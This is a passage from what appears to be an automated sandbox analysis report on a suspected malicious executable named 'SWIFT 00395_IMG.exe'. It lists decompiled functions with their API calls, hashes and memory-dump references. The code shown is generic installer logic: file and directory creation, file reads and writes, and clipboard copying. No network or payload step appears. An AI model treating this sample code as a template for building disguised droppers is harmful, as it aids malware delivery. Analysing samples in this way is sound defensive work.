                                                                                    • GetModuleHandleA.KERNEL32(?,?,?,004034D4,0000000B), ref: 00406643
                                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 0040665E
                                                                                      • Part of subcall function 004065C3: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004065DA
                                                                                      • Part of subcall function 004065C3: wsprintfA.USER32 ref: 00406613
                                                                                      • Part of subcall function 004065C3: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406627
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                                                    • String ID:
                                                                                    • API String ID: 2547128583-0
                                                                                    • Opcode ID: 2284c13bb0467c230d08af9fe6f3031970f5259716d95ff003564f382569e38e
                                                                                    • Instruction ID: e63780c8bf1f0faf28ba6c6d4be53ddd5ff0707a9bdd482d1e4d5d99537df4e3
                                                                                    • Opcode Fuzzy Hash: 2284c13bb0467c230d08af9fe6f3031970f5259716d95ff003564f382569e38e
                                                                                    • Instruction Fuzzy Hash: 94E086326042106AD6106B70AE04C7773A89F84750702483EF546F2150D7399C3596AD
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 68%
                                                                                    			E00405DC1(CHAR* _a4, long _a8, long _a12) {
                                                                                    				signed int _t5;
                                                                                    				void* _t6;
                                                                                    
                                                                                    				_t5 = GetFileAttributesA(_a4); // executed
                                                                                    				asm("sbb ecx, ecx");
                                                                                    				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
                                                                                    				return _t6;
                                                                                    			}





                                                                                    0x00405dc5
                                                                                    0x00405dd2
                                                                                    0x00405de7
                                                                                    0x00405ded

                                                                                    APIs
                                                                                    • GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\SWIFT 00395_IMG.exe,80000000,00000003), ref: 00405DC5
                                                                                    • CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: File$AttributesCreate
                                                                                    • String ID:
                                                                                    • API String ID: 415043291-0
                                                                                    • Opcode ID: f7726857ad0760fd27b8592a290aaff25a5a689f9fd17e1a71efc27c39f42f7d
                                                                                    • Instruction ID: c1cd633b288b309c16b37b55694bd397a2d2f3fd27c3ea135bedd35eac3c4d3c
                                                                                    • Opcode Fuzzy Hash: f7726857ad0760fd27b8592a290aaff25a5a689f9fd17e1a71efc27c39f42f7d
                                                                                    • Instruction Fuzzy Hash: D9D09E31254602AFEF0D8F20DE16F2E7AA2EB84B00F11952CB682944E2DA715819AB19
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405D9C(CHAR* _a4) {
                                                                                    				signed char _t3;
                                                                                    				signed char _t7;
                                                                                    
                                                                                    				_t3 = GetFileAttributesA(_a4); // executed
                                                                                    				_t7 = _t3;
                                                                                    				if(_t7 != 0xffffffff) {
                                                                                    					SetFileAttributesA(_a4, _t3 & 0x000000fe);
                                                                                    				}
                                                                                    				return _t7;
                                                                                    			}





                                                                                    0x00405da1
                                                                                    0x00405da7
                                                                                    0x00405dac
                                                                                    0x00405db5
                                                                                    0x00405db5
                                                                                    0x00405dbe

                                                                                    APIs
                                                                                    • GetFileAttributesA.KERNELBASE(?,?,004059B4,?,?,00000000,00405B97,?,?,?,?), ref: 00405DA1
                                                                                    • SetFileAttributesA.KERNEL32(?,00000000), ref: 00405DB5
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: AttributesFile
                                                                                    • String ID:
                                                                                    • API String ID: 3188754299-0
                                                                                    • Opcode ID: 7db639ec3fc6e9a5b47d3eb1dfb332e917e8410632ca84ceba79978e33b6a3d0
                                                                                    • Instruction ID: 45e1b313f31d266de6e0d804bcdac0c4d644dd7a0ef1fc7463663643c81ebfd1
                                                                                    • Opcode Fuzzy Hash: 7db639ec3fc6e9a5b47d3eb1dfb332e917e8410632ca84ceba79978e33b6a3d0
                                                                                    • Instruction Fuzzy Hash: F9D0A932000021ABD2002728EE0C88BBB91DB00270702CA36FCA4A22B2DB300C129A98
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405892(CHAR* _a4) {
                                                                                    				int _t2;
                                                                                    
                                                                                    				_t2 = CreateDirectoryA(_a4, 0); // executed
                                                                                    				if(_t2 == 0) {
                                                                                    					return GetLastError();
                                                                                    				}
                                                                                    				return 0;
                                                                                    			}




                                                                                    0x00405898
                                                                                    0x004058a0
                                                                                    0x00000000
                                                                                    0x004058a6
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • CreateDirectoryA.KERNELBASE(?,00000000,00403454,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 00405898
                                                                                    • GetLastError.KERNEL32(?,00000007,00000009,0000000B), ref: 004058A6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CreateDirectoryErrorLast
                                                                                    • String ID:
                                                                                    • API String ID: 1375471231-0
                                                                                    • Opcode ID: 1ac3f182099991a074ef026cd112de1bb624e535cee62a6747cbed0a6cbac083
                                                                                    • Instruction ID: ae32aa403121d558109e23f4dadc85ee7ba81b7b8263ff8d49f56a55f4155d83
                                                                                    • Opcode Fuzzy Hash: 1ac3f182099991a074ef026cd112de1bb624e535cee62a6747cbed0a6cbac083
                                                                                    • Instruction Fuzzy Hash: D5C04C316045019BE6506B319F08B1B7A549F50741F158439A78AE41E4DA388465D92D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405E68(void* _a4, void* _a8, long _a12) {
                                                                                    				int _t7;
                                                                                    				long _t11;
                                                                                    
                                                                                    				_t11 = _a12;
                                                                                    				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                                                    				if(_t7 == 0 || _t11 != _a12) {
                                                                                    					return 0;
                                                                                    				} else {
                                                                                    					return 1;
                                                                                    				}
                                                                                    			}





                                                                                    0x00405e6c
                                                                                    0x00405e7c
                                                                                    0x00405e84
                                                                                    0x00000000
                                                                                    0x00405e8b
                                                                                    0x00000000
                                                                                    0x00405e8d

                                                                                    APIs
                                                                                    • WriteFile.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,0040F9C5,0040B8F8,0040339A,0040B8F8,0040F9C5,004138F8,00004000,?,00000000,004031C4,00000004), ref: 00405E7C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FileWrite
                                                                                    • String ID:
                                                                                    • API String ID: 3934441357-0
                                                                                    • Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                                                    • Instruction ID: 83138c6b6f61fe56512c00d99342466dd547819508ce818909ec7b1084a3bb5f
                                                                                    • Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                                                    • Instruction Fuzzy Hash: 48E0463221021AABDF109F60CC04AAB3B6CEB00260F404432FAA4E2140E234E9208AE4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405E39(void* _a4, void* _a8, long _a12) {
                                                                                    				int _t7;
                                                                                    				long _t11;
                                                                                    
                                                                                    				_t11 = _a12;
                                                                                    				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                                                    				if(_t7 == 0 || _t11 != _a12) {
                                                                                    					return 0;
                                                                                    				} else {
                                                                                    					return 1;
                                                                                    				}
                                                                                    			}





                                                                                    0x00405e3d
                                                                                    0x00405e4d
                                                                                    0x00405e55
                                                                                    0x00000000
                                                                                    0x00405e5c
                                                                                    0x00000000
                                                                                    0x00405e5e

                                                                                    APIs
                                                                                    • ReadFile.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,004138F8,0040B8F8,00403416,0040A130,0040A130,0040331A,004138F8,00004000,?,00000000,004031C4), ref: 00405E4D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FileRead
                                                                                    • String ID:
                                                                                    • API String ID: 2738559852-0
                                                                                    • Opcode ID: 416aeb435aa013431afb1a9c1c8b913c8d53da26c76a00aa22b400e2b7bce1d1
                                                                                    • Instruction ID: cce2834e44819e2e6951819013f8ba23c93adc22c6858a83ce884f24d90f4801
                                                                                    • Opcode Fuzzy Hash: 416aeb435aa013431afb1a9c1c8b913c8d53da26c76a00aa22b400e2b7bce1d1
                                                                                    • Instruction Fuzzy Hash: BFE0463220061AABCF119F60CC00AEB3B6CEB046E0F044832B955E2040D230EA209BE8
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00403419(long _a4) {
                                                                                    				long _t2;
                                                                                    
                                                                                    				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
                                                                                    				return _t2;
                                                                                    			}




                                                                                    0x00403427
                                                                                    0x0040342d

                                                                                    APIs
                                                                                    • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403117,?), ref: 00403427
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: FilePointer
                                                                                    • String ID:
                                                                                    • API String ID: 973152223-0
                                                                                    • Opcode ID: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
                                                                                    • Instruction ID: eadcf480fe67690f272c505b4903882a1233053cb438a9b9796e5ea94341b5dd
                                                                                    • Opcode Fuzzy Hash: 3686d685932152b10745f2b752acc0f7a7db7aadca6958b8d51083a7e9476777
                                                                                    • Instruction Fuzzy Hash: 25B09231140200AADA215F409E09F057B21AB94700F208424B244280F086712025EA0D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Non-executed Functions

                                                                                    C-Code - Quality: 96%
                                                                                    			E0040548D(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
                                                                                    				struct HWND__* _v8;
                                                                                    				struct tagRECT _v24;
                                                                                    				void* _v32;
                                                                                    				signed int _v36;
                                                                                    				int _v40;
                                                                                    				int _v44;
                                                                                    				signed int _v48;
                                                                                    				int _v52;
                                                                                    				void* _v56;
                                                                                    				void* _v64;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				struct HWND__* _t87;
                                                                                    				struct HWND__* _t89;
                                                                                    				long _t90;
                                                                                    				int _t95;
                                                                                    				int _t96;
                                                                                    				long _t99;
                                                                                    				void* _t102;
                                                                                    				intOrPtr _t124;
                                                                                    				struct HWND__* _t128;
                                                                                    				int _t150;
                                                                                    				int _t153;
                                                                                    				long _t157;
                                                                                    				struct HWND__* _t161;
                                                                                    				struct HMENU__* _t163;
                                                                                    				long _t165;
                                                                                    				void* _t166;
                                                                                    				char* _t167;
                                                                                    				char* _t168;
                                                                                    				int _t169;
                                                                                    
                                                                                    				_t87 =  *0x423f24; // 0x0
                                                                                    				_t157 = _a8;
                                                                                    				_t150 = 0;
                                                                                    				_v8 = _t87;
                                                                                    				if(_t157 != 0x110) {
                                                                                    					__eflags = _t157 - 0x405;
                                                                                    					if(_t157 == 0x405) {
                                                                                    						CloseHandle(CreateThread(0, 0, E00405421, GetDlgItem(_a4, 0x3ec), 0,  &_a8));
                                                                                    					}
                                                                                    					__eflags = _t157 - 0x111;
                                                                                    					if(_t157 != 0x111) {
                                                                                    						L17:
                                                                                    						__eflags = _t157 - 0x404;
                                                                                    						if(_t157 != 0x404) {
                                                                                    							L25:
                                                                                    							__eflags = _t157 - 0x7b;
                                                                                    							if(_t157 != 0x7b) {
                                                                                    								goto L20;
                                                                                    							}
                                                                                    							_t89 = _v8;
                                                                                    							__eflags = _a12 - _t89;
                                                                                    							if(_a12 != _t89) {
                                                                                    								goto L20;
                                                                                    							}
                                                                                    							_t90 = SendMessageA(_t89, 0x1004, _t150, _t150);
                                                                                    							__eflags = _t90 - _t150;
                                                                                    							_a12 = _t90;
                                                                                    							if(_t90 <= _t150) {
                                                                                    								L36:
                                                                                    								return 0;
                                                                                    							}
                                                                                    							_t163 = CreatePopupMenu();
                                                                                    							AppendMenuA(_t163, _t150, 1, E004062BB(_t150, _t157, _t163, _t150, 0xffffffe1));
                                                                                    							_t95 = _a16;
                                                                                    							__eflags = _a16 - 0xffffffff;
                                                                                    							_t153 = _a16 >> 0x10;
                                                                                    							if(_a16 == 0xffffffff) {
                                                                                    								GetWindowRect(_v8,  &_v24);
                                                                                    								_t95 = _v24.left;
                                                                                    								_t153 = _v24.top;
                                                                                    							}
                                                                                    							_t96 = TrackPopupMenu(_t163, 0x180, _t95, _t153, _t150, _a4, _t150);
                                                                                    							__eflags = _t96 - 1;
                                                                                    							if(_t96 == 1) {
                                                                                    								_t165 = 1;
                                                                                    								__eflags = 1;
                                                                                    								_v56 = _t150;
                                                                                    								_v44 = 0x420d50;
                                                                                    								_v40 = 0x1000;
                                                                                    								_a4 = _a12;
                                                                                    								do {
                                                                                    									_a4 = _a4 - 1;
                                                                                    									_t99 = SendMessageA(_v8, 0x102d, _a4,  &_v64);
                                                                                    									__eflags = _a4 - _t150;
                                                                                    									_t165 = _t165 + _t99 + 2;
                                                                                    								} while (_a4 != _t150);
                                                                                    								OpenClipboard(_t150);
                                                                                    								EmptyClipboard();
                                                                                    								_t102 = GlobalAlloc(0x42, _t165);
                                                                                    								_a4 = _t102;
                                                                                    								_t166 = GlobalLock(_t102);
                                                                                    								do {
                                                                                    									_v44 = _t166;
                                                                                    									_t167 = _t166 + SendMessageA(_v8, 0x102d, _t150,  &_v64);
                                                                                    									 *_t167 = 0xd;
                                                                                    									_t168 = _t167 + 1;
                                                                                    									 *_t168 = 0xa;
                                                                                    									_t166 = _t168 + 1;
                                                                                    									_t150 = _t150 + 1;
                                                                                    									__eflags = _t150 - _a12;
                                                                                    								} while (_t150 < _a12);
                                                                                    								GlobalUnlock(_a4);
                                                                                    								SetClipboardData(1, _a4);
                                                                                    								CloseClipboard();
                                                                                    							}
                                                                                    							goto L36;
                                                                                    						}
                                                                                    						__eflags =  *0x423f0c - _t150; // 0x0
                                                                                    						if(__eflags == 0) {
                                                                                    							ShowWindow( *0x424748, 8);
                                                                                    							__eflags =  *0x4247ec - _t150;
                                                                                    							if( *0x4247ec == _t150) {
                                                                                    								E0040534F( *((intOrPtr*)( *0x420528 + 0x34)), _t150);
                                                                                    							}
                                                                                    							E00404285(1);
                                                                                    							goto L25;
                                                                                    						}
                                                                                    						 *0x420120 = 2;
                                                                                    						E00404285(0x78);
                                                                                    						goto L20;
                                                                                    					} else {
                                                                                    						__eflags = _a12 - 0x403;
                                                                                    						if(_a12 != 0x403) {
                                                                                    							L20:
                                                                                    							return E00404313(_t157, _a12, _a16);
                                                                                    						}
                                                                                    						ShowWindow( *0x423f10, _t150);
                                                                                    						ShowWindow(_v8, 8);
                                                                                    						E004042E1(_v8);
                                                                                    						goto L17;
                                                                                    					}
                                                                                    				}
                                                                                    				_v48 = _v48 | 0xffffffff;
                                                                                    				_v36 = _v36 | 0xffffffff;
                                                                                    				_t169 = 2;
                                                                                    				_v56 = _t169;
                                                                                    				_v52 = 0;
                                                                                    				_v44 = 0;
                                                                                    				_v40 = 0;
                                                                                    				asm("stosd");
                                                                                    				asm("stosd");
                                                                                    				_t124 =  *0x424754;
                                                                                    				_a12 =  *((intOrPtr*)(_t124 + 0x5c));
                                                                                    				_a8 =  *((intOrPtr*)(_t124 + 0x60));
                                                                                    				 *0x423f10 = GetDlgItem(_a4, 0x403);
                                                                                    				 *0x423f08 = GetDlgItem(_a4, 0x3ee);
                                                                                    				_t128 = GetDlgItem(_a4, 0x3f8);
                                                                                    				 *0x423f24 = _t128;
                                                                                    				_v8 = _t128;
                                                                                    				E004042E1( *0x423f10);
                                                                                    				 *0x423f14 = E00404BD2(4);
                                                                                    				 *0x423f2c = 0;
                                                                                    				GetClientRect(_v8,  &_v24);
                                                                                    				_v48 = _v24.right - GetSystemMetrics(_t169);
                                                                                    				SendMessageA(_v8, 0x101b, 0,  &_v56);
                                                                                    				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
                                                                                    				if(_a12 >= 0) {
                                                                                    					SendMessageA(_v8, 0x1001, 0, _a12);
                                                                                    					SendMessageA(_v8, 0x1026, 0, _a12);
                                                                                    				}
                                                                                    				if(_a8 >= _t150) {
                                                                                    					SendMessageA(_v8, 0x1024, _t150, _a8);
                                                                                    				}
                                                                                    				_push( *((intOrPtr*)(_a16 + 0x30)));
                                                                                    				_push(0x1b);
                                                                                    				E004042AC(_a4);
                                                                                    				if(( *0x42475c & 0x00000003) != 0) {
                                                                                    					ShowWindow( *0x423f10, _t150);
                                                                                    					if(( *0x42475c & 0x00000002) != 0) {
                                                                                    						 *0x423f10 = _t150;
                                                                                    					} else {
                                                                                    						ShowWindow(_v8, 8);
                                                                                    					}
                                                                                    					E004042E1( *0x423f08);
                                                                                    				}
                                                                                    				_t161 = GetDlgItem(_a4, 0x3ec);
                                                                                    				SendMessageA(_t161, 0x401, _t150, 0x75300000);
                                                                                    				if(( *0x42475c & 0x00000004) != 0) {
                                                                                    					SendMessageA(_t161, 0x409, _t150, _a8);
                                                                                    					SendMessageA(_t161, 0x2001, _t150, _a12);
                                                                                    				}
                                                                                    				goto L36;
                                                                                    			}



































                                                                                    0x00405493
                                                                                    0x0040549b
                                                                                    0x0040549e
                                                                                    0x004054a6
                                                                                    0x004054a9
                                                                                    0x00405638
                                                                                    0x0040563e
                                                                                    0x00405662
                                                                                    0x00405662
                                                                                    0x0040566e
                                                                                    0x00405674
                                                                                    0x00405696
                                                                                    0x00405696
                                                                                    0x0040569c
                                                                                    0x004056f1
                                                                                    0x004056f1
                                                                                    0x004056f4
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004056f6
                                                                                    0x004056f9
                                                                                    0x004056fc
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405706
                                                                                    0x0040570c
                                                                                    0x0040570e
                                                                                    0x00405711
                                                                                    0x0040580e
                                                                                    0x00000000
                                                                                    0x0040580e
                                                                                    0x00405720
                                                                                    0x0040572c
                                                                                    0x00405735
                                                                                    0x0040573c
                                                                                    0x00405740
                                                                                    0x00405743
                                                                                    0x0040574c
                                                                                    0x00405752
                                                                                    0x00405755
                                                                                    0x00405755
                                                                                    0x00405765
                                                                                    0x0040576b
                                                                                    0x0040576e
                                                                                    0x00405779
                                                                                    0x00405779
                                                                                    0x0040577a
                                                                                    0x0040577d
                                                                                    0x00405784
                                                                                    0x0040578b
                                                                                    0x00405793
                                                                                    0x00405793
                                                                                    0x004057a1
                                                                                    0x004057a7
                                                                                    0x004057aa
                                                                                    0x004057aa
                                                                                    0x004057b1
                                                                                    0x004057b7
                                                                                    0x004057c0
                                                                                    0x004057c7
                                                                                    0x004057d0
                                                                                    0x004057d2
                                                                                    0x004057d5
                                                                                    0x004057e4
                                                                                    0x004057e6
                                                                                    0x004057e9
                                                                                    0x004057ea
                                                                                    0x004057ed
                                                                                    0x004057ee
                                                                                    0x004057ef
                                                                                    0x004057ef
                                                                                    0x004057f7
                                                                                    0x00405802
                                                                                    0x00405808
                                                                                    0x00405808
                                                                                    0x00000000
                                                                                    0x0040576e
                                                                                    0x0040569e
                                                                                    0x004056a4
                                                                                    0x004056d2
                                                                                    0x004056d4
                                                                                    0x004056da
                                                                                    0x004056e5
                                                                                    0x004056e5
                                                                                    0x004056ec
                                                                                    0x00000000
                                                                                    0x004056ec
                                                                                    0x004056a8
                                                                                    0x004056b2
                                                                                    0x00000000
                                                                                    0x00405676
                                                                                    0x00405676
                                                                                    0x0040567c
                                                                                    0x004056b7
                                                                                    0x00000000
                                                                                    0x004056be
                                                                                    0x00405685
                                                                                    0x0040568c
                                                                                    0x00405691
                                                                                    0x00000000
                                                                                    0x00405691
                                                                                    0x00405674
                                                                                    0x004054af
                                                                                    0x004054b3
                                                                                    0x004054bb
                                                                                    0x004054bf
                                                                                    0x004054c2
                                                                                    0x004054c5
                                                                                    0x004054c8
                                                                                    0x004054cb
                                                                                    0x004054cc
                                                                                    0x004054cd
                                                                                    0x004054e6
                                                                                    0x004054e9
                                                                                    0x004054f3
                                                                                    0x00405502
                                                                                    0x0040550a
                                                                                    0x00405512
                                                                                    0x00405517
                                                                                    0x0040551a
                                                                                    0x00405526
                                                                                    0x0040552f
                                                                                    0x00405538
                                                                                    0x0040555a
                                                                                    0x00405560
                                                                                    0x00405571
                                                                                    0x00405576
                                                                                    0x00405584
                                                                                    0x00405592
                                                                                    0x00405592
                                                                                    0x00405597
                                                                                    0x004055a5
                                                                                    0x004055a5
                                                                                    0x004055aa
                                                                                    0x004055ad
                                                                                    0x004055b2
                                                                                    0x004055be
                                                                                    0x004055c7
                                                                                    0x004055d4
                                                                                    0x004055e3
                                                                                    0x004055d6
                                                                                    0x004055db
                                                                                    0x004055db
                                                                                    0x004055ef
                                                                                    0x004055ef
                                                                                    0x00405603
                                                                                    0x0040560c
                                                                                    0x00405615
                                                                                    0x00405625
                                                                                    0x00405631
                                                                                    0x00405631
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • GetDlgItem.USER32 ref: 004054EC
                                                                                    • GetDlgItem.USER32 ref: 004054FB
                                                                                    • GetClientRect.USER32 ref: 00405538
                                                                                    • GetSystemMetrics.USER32 ref: 0040553F
                                                                                    • SendMessageA.USER32 ref: 00405560
                                                                                    • SendMessageA.USER32 ref: 00405571
                                                                                    • SendMessageA.USER32 ref: 00405584
                                                                                    • SendMessageA.USER32 ref: 00405592
                                                                                    • SendMessageA.USER32 ref: 004055A5
                                                                                    • ShowWindow.USER32(00000000,?,0000001B,?), ref: 004055C7
                                                                                    • ShowWindow.USER32(?,00000008), ref: 004055DB
                                                                                    • GetDlgItem.USER32 ref: 004055FC
                                                                                    • SendMessageA.USER32 ref: 0040560C
                                                                                    • SendMessageA.USER32 ref: 00405625
                                                                                    • SendMessageA.USER32 ref: 00405631
                                                                                    • GetDlgItem.USER32 ref: 0040550A
                                                                                      • Part of subcall function 004042E1: SendMessageA.USER32 ref: 004042EF
                                                                                    • GetDlgItem.USER32 ref: 0040564D
                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_00005421,00000000), ref: 0040565B
                                                                                    • CloseHandle.KERNEL32(00000000), ref: 00405662
                                                                                    • ShowWindow.USER32(00000000), ref: 00405685
                                                                                    • ShowWindow.USER32(?,00000008), ref: 0040568C
                                                                                    • ShowWindow.USER32(00000008), ref: 004056D2
                                                                                    • SendMessageA.USER32 ref: 00405706
                                                                                    • CreatePopupMenu.USER32 ref: 00405717
                                                                                    • AppendMenuA.USER32 ref: 0040572C
                                                                                    • GetWindowRect.USER32 ref: 0040574C
                                                                                    • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405765
                                                                                    • SendMessageA.USER32 ref: 004057A1
                                                                                    • OpenClipboard.USER32(00000000), ref: 004057B1
                                                                                    • EmptyClipboard.USER32 ref: 004057B7
                                                                                    • GlobalAlloc.KERNEL32(00000042,?), ref: 004057C0
                                                                                    • GlobalLock.KERNEL32 ref: 004057CA
                                                                                    • SendMessageA.USER32 ref: 004057DE
                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 004057F7
                                                                                    • SetClipboardData.USER32(00000001,00000000), ref: 00405802
